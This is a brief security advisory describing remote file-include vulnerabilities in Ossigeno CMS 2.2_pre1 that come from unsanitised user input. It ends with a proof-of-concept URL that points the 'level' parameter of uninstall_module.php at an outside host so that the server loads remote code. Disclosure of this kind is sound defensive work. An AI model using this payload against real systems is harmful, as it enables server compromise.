source: http://www.securityfocus.com/bid/26654/info
 
Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable. 

http://www.example.com/upload/xax/admin/modules/uninstall_module.php?level=http://www.example2.com